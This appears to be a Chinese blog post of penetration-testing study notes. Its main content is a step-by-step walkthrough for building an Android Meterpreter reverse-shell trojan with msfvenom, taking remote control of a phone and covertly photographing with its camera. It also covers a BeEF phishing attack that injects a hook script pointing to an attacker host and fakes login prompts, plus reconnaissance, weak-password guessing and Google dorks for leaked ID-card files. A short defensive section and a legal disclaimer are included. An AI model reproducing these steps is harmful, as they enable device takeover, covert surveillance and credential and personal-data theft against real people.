banner
banner
banner
NEWS LETTER

网络安全-渗透测试与资产收集笔记

Scroll down

⚠️ 免责声明:本文仅为网络安全学习笔记,复现内容全部来自公开课程。任何未经系统所有者书面授权的渗透测试 / 攻击行为都是违法的! 请仅在合法授权的靶场、CTF 或自己的测试环境中练习。文中涉及的软件破解 / 许可证绕过等做法可能违反相关法律与厂商协议,务必谨慎,仅供参考,请勿用于生产或商业环境。

手机木马病毒攻击实战

什么是漏洞?

  • 漏洞:硬件或软件存在「安全上」的缺陷,攻击者可以直接访问或破坏系统。
    • 举例:微信给你转 100 元,但实际收到 200 元。
    • 结论:金额数据被修改,数据安全存在问题,也叫数据漏洞。
    • 扩展:结构漏洞、管理漏洞(银行卡密码是生日)、逻辑漏洞。
    • 注意:这些漏洞不是功能上的问题,功能上的问题叫 bug。

学习段位

  • 前提:任何未经别人授权的渗透测试或攻击都是违法的!!!
  • 王者段位:手写 POC / EXP、代码审计、二进制、APK 逆向等。
  • 青铜段位:网络上提供了非常多现成的黑客攻击工具,开箱即用。

exploit VS kali

  • exploit / exp(漏洞攻击):系统上的攻击工具。
  • kali:操作系统。

本次使用的工具

  • 操作系统:Kali 系统(自带非常多的黑客攻击软件)。
  • 攻击软件:MSF 软件,又名「美少妇」(用于制作手机木马以测试学习)。
  • 攻击对象:安卓手机(不管是 iOS、鸿蒙还是安卓,攻击方式都一样)。

MSF 渗透手机操作指令

  1. 打开 MSF 软件:终端输入 msfconsole
    • 2230 exploits:MSF 内部集成了 2230 个漏洞攻击工具。
    • 867 payloads:MSF 内部集成了 867 个 payload 工具(有效攻击,攻击过程中造成的损失,如删除数据)。
  2. 制作木马:
    1
    msfvenom -p android/meterpreter/reverse_tcp lhost=黑客电脑的IP地址 lport=黑客电脑的端口 R > /home/kali/muma.apk
    • venom:毒液、木马、病毒。
    • -p:payload 的简称。
    • 攻击模块(安卓):android/meterpreter/reverse_tcp
    • 攻击模块(Windows):windows/meterpreter/reverse_tcp
    • 攻击模块(鸿蒙):harmony/meterpreter/reverse_tcp
    • 攻击模块(iOS):?
    • R >:另存为,输出并保存。
    • /home/kali/muma.apk:保存到的地址和生成的软件。
  3. MSF 打开监听程序:use exploit/multi/handler
    • 允许其他电脑连接黑客电脑。
  4. 设置 payload 攻击:set payload android/meterpreter/reverse_tcp
  5. 设置攻击 IP 地址:set lhost 黑客电脑的IP地址
  6. 设置攻击端口:set lport 黑客电脑的端口
  7. 执行木马:run
    • 回车出现 meterpreter >:表示有手机连接过来了(黑客电脑 — 建立连接 — 手机)。
    • help:查看可执行命令。
  8. 远程查看该手机的应用程序:app_list
    • 出现的名字乱码 —— 需要汉化处理。
    • 可以知道有哪些安装包(com.xxxxx)。
  9. 远程打开该手机的软件:app_run 安装包
  10. 在该手机黑屏的时候拍照
    • 查看摄像头:webcam_list
    • 拍照:webcam_snap -l 1(执行 1 号摄像头)

漏洞的攻击流程 —— 针对登录页面的攻击

  1. 进入社工网站 beef(账号密码为默认值)。
  2. 获取目标对象的微信或手机号等。
  3. 写一个钓鱼网站,如在网站的代码中写入:<script src="http://黑客电脑的IP地址:端口号/钓鱼代码文件"></script>
  4. 发钓鱼短信,里面附带钓鱼网站链接。
  5. 用户点击钓鱼链接后即被入侵。
  6. 通过 beef 可以直观看到连接人的电脑或手机,右键 command 选择攻击工具执行。
    • 如弹窗工具,弹窗提示输入账号密码等,用户输入后黑客即可获得账号密码。

怎么找到某一家公司的资产?

  • 先通过企查查、天眼查等获取某一家公司的 ICP 之类的信息。
  • 再通过 fofa(“佛法”)检索这家公司,从获取的服务器链接点进去可以看到对应的登录页,再进行信息比对,尝试破解密码登录(手机号、二级域名、残留的测试账号、名字拼音等)。
  • 以上信息收集,用弱口令方式破解密码,培养思维。
  • 通过奇安信 https://www.qianxin.com/ 使用命令可以获取这家公司的所有相关资产。
  • 网站目录扫描:分析网站使用什么语言。
    • 扫描工具:dirsearch
      • 命令:python dirsearch.py -u 扫描网站的网址 -e php,zip,bak
        • 把扫描出来绿色的文件与网址一拼,可以在浏览器上看其内容。
        • AI 只能辅助分析,Gemini:把绿色的文件夹拿去问 AI,问这个是什么。
  • 收集到足够的信息,然后采取针对性的攻击方式。
  • 在 Google 浏览器中搜索 Google Hacking Database 里的命令,真的能找到一些表格和信息之类的,代表没有做脱敏。
    • 如搜索 filetype:xls 身份证,可以找到网站中一些包含身份证的 xls 表格。

揭秘黑客攻防网络世界的「天眼」攻击

  • 现代攻击:社会工程学 + 技术。
  1. 社会工程学?骗术!
    • 引诱他人点击有木马的软件、视频、广告、链接等。
    • 如高考 → 志愿 → AI 志愿填报 + 技术,获取权限等信息。
    • 可以获取定位(seeker)、访问设备、IP 等信息。
  2. WebRTC:开启视频通话的技术。
  3. 隐藏摄像头方式:
    • 弹窗欺骗 → 把通信弹窗变成 1px × 1px 的弹窗 → 幽灵窗口。
    • 浏览器推送通知。
  4. 反制
    • 浏览器设置 →「隐私和安全」→ 检查获取权限的网址有哪些,把不认识的移除。
    • 物理防御:把摄像头遮住。
    • 批判性思维与零信任原则:遇到索要权限时,看有哪些权限不符合当前软件。

挖洞、分析网址

积累经验途径

  • 漏洞挖掘
  • 7-9 月的护网
  • CTF 竞赛
  • 外包项目

漏洞类型

  • 0day:以前从来没有发现过的漏洞,系统底层漏洞,hard hard hard。
  • Nday:别人已经发现过的漏洞,然后你从其他网站去找这种漏洞。
其他文章
cover
视频协议
  • 25/08/07
  • 16:15
  • 网络
cover
React-组件通信方式
  • 25/06/24
  • 14:45
  • React
目录导航 置顶
  1. 1. 手机木马病毒攻击实战
    1. 1.1. 什么是漏洞?
    2. 1.2. 学习段位
      1. 1.2.1. exploit VS kali
    3. 1.3. 本次使用的工具
    4. 1.4. MSF 渗透手机操作指令
      1. 1.4.1. 漏洞的攻击流程 —— 针对登录页面的攻击
      2. 1.4.2. 怎么找到某一家公司的资产?
    5. 1.5. 揭秘黑客攻防网络世界的「天眼」攻击
      1. 1.5.1. 挖洞、分析网址
      2. 1.5.2. 积累经验途径
      3. 1.5.3. 漏洞类型
请输入关键词进行搜索